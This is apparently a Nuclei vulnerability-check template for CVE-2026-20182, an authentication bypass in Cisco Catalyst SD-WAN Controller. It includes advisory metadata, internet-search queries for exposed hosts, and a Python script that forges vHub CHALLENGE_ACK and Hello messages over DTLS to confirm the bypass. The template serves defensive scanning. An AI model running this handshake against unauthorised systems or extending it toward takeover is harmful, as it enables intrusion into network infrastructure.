id: CVE-2026-20182 info: name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk severity: critical description: | Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests. remediation: | Update to the latest fixed version as per Cisco advisory. impact: | Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric. reference: - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/ - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/ - https://nvd.nist.gov/vuln/detail/CVE-2026-20182 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-20182 epss-score: 0.80539 epss-percentile: 0.99155 cwe-id: CWE-287 cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: cisco product: catalyst_sd-wan_controller shodan-query: port:12346 product:"Cisco SD-WAN" fofa-query: port="12346" && product="Cisco SD-WAN" tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev variables: HOST: "{{Host}}" PORT: "{{Port}}" code: - engine: - py - python3 source: | import os import struct import socket import subprocess import time import select import secrets import tempfile import shutil MSG_HELLO = 0x05 MSG_CHALLENGE = 0x08 MSG_CHALLENGE_ACK = 0x09 MSG_TEAR_DOWN = 0x0B DEV_VHUB = 2 HDR_FLAGS = 0xA0 DOMAIN_ID = 1 SITE_ID = 100 MSG_NAMES = { 0x05: "Hello", 0x08: "CHALLENGE", 0x09: "CHALLENGE_ACK", 0x0B: "TEAR_DOWN", 0x0D: "REGISTER_TO_VMANAGE", 0x0E: "VMANAGE_TO_PEER", } def build_header(msg_type): byte0 = msg_type & 0x0F byte1 = (DEV_VHUB & 0x0F) << 4 return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00, DOMAIN_ID, SITE_ID) def hdr_msg_type(data): return data[0] & 0x0F if data else None def build_tlv(tlv_type, value): if isinstance(value, str): value = value.encode() return struct.pack(">HH", tlv_type, len(value)) + value def build_challenge_ack_body(): uuid_str = secrets.token_hex(16) server_key = secrets.token_hex(16) tlvs = build_tlv(0x0013, struct.pack(">H", 0)) tlvs += build_tlv(0x0014, struct.pack(">H", 1)) tlvs += build_tlv(0x0018, struct.pack(">B", 1)) tlvs += build_tlv(0x0019, struct.pack(">B", 0)) tlvs += build_tlv(0x0006, uuid_str) tlvs += build_tlv(0x0032, server_key) body = struct.pack(">BB", 0, 0) body += struct.pack(">B", 6) body += tlvs return body def build_hello_body(port): body = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00) body += struct.pack(">H", 2) body += socket.inet_aton("127.0.0.1") body += struct.pack(">H", port) body += struct.pack(">I", 1) body += b"\x00" * 20 body += struct.pack(">II", 10000, 60000) body += struct.pack(">B", 2) body += build_tlv(0x0021, struct.pack(">B", 0)) body += build_tlv(0x0022, struct.pack(">B", 0)) return body def generate_self_signed_cert(): tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_") cert_path = os.path.join(tmpdir, "cert.pem") key_path = os.path.join(tmpdir, "key.pem") result = subprocess.run( [ "openssl", "req", "-x509", "-newkey", "rsa:2048", "-keyout", key_path, "-out", cert_path, "-days", "1", "-nodes", "-subj", "/CN=nuclei/O=nuclei/C=US", "-quiet", ], capture_output=True, timeout=15, ) if result.returncode != 0: return None, None, tmpdir return cert_path, key_path, tmpdir def dtls_connect(host, port, cert_path, key_path): cmd = [ "openssl", "s_client", "-dtls1_2", "-connect", f"{host}:{port}", "-cert", cert_path, "-key", key_path, "-no_ign_eof", "-quiet", ] return subprocess.Popen( cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) def wait_for_data(fd, timeout_sec): ready, _, _ = select.select([fd], [], [], timeout_sec) if not ready: return None try: data = os.read(fd.fileno(), 65536) return data if data else None except OSError: return None def send_message(proc, msg_type, body=b""): message = build_header(msg_type) + body try: proc.stdin.write(message) proc.stdin.flush() return True except (BrokenPipeError, OSError): return False def recv_message(proc, timeout_sec=10): data = wait_for_data(proc.stdout, timeout_sec) if not data or len(data) < 12: return None, None return data[:12], data[12:] def check_vulnerability(host, port): target = f"{host}:{port}" print(f"[*] Testing target: {target}") cert_path, key_path, tmpdir = generate_self_signed_cert() if not cert_path: print("[-] Certificate generation failed") return False proc = None try: proc = dtls_connect(host, port, cert_path, key_path) time.sleep(3) if proc.poll() is not None: print("[-] DTLS handshake failed") return False hdr, _ = recv_message(proc, timeout_sec=12) if hdr is None: print("[-] No CHALLENGE received") return False msg_type = hdr_msg_type(hdr) if msg_type != MSG_CHALLENGE: name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}") print(f"[-] Unexpected message type: {name}") return False if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()): print("[-] Failed to send CHALLENGE_ACK") return False hdr, _ = recv_message(proc, timeout_sec=8) if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN: print("[-] Server sent TEAR_DOWN — not vulnerable") return False if not send_message(proc, MSG_HELLO, build_hello_body(port)): print(f"VULNERABLE: {target}") return True hdr, _ = recv_message(proc, timeout_sec=8) if hdr is not None: msg_type = hdr_msg_type(hdr) if msg_type == MSG_TEAR_DOWN: print("[-] Server sent TEAR_DOWN after Hello — not vulnerable") return False print(f"VULNERABLE: {target}") return True print(f"VULNERABLE: {target}") return True except subprocess.TimeoutExpired: print("[-] Operation timed out") return False except Exception as e: print(f"[-] Error: {e}") return False finally: if proc: try: proc.terminate() proc.wait(timeout=3) except Exception: try: proc.kill() except Exception: pass shutil.rmtree(tmpdir, ignore_errors=True) if __name__ == "__main__": host = os.getenv("Host") port = os.getenv("Port", "12346") if not host: print("Host environment variable not set") exit(1) try: port = int(port) except ValueError: port = 12346 if check_vulnerability(host, port): print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed") else: print("Target appears to be patched or not Cisco SD-WAN vdaemon") matchers: - type: word words: - "VULNERABLE:" # digest: 4a0a0047304502207b0201f4db4a425f12e99ff6ef6b68e27707dc37a667442474cfcc7daeca4704022100d19aa23a94ebc45ad864009b2b5b355be742e8ea6f8dab9c4389e805be9598af:922c64590222798bb761d5b6d8e72950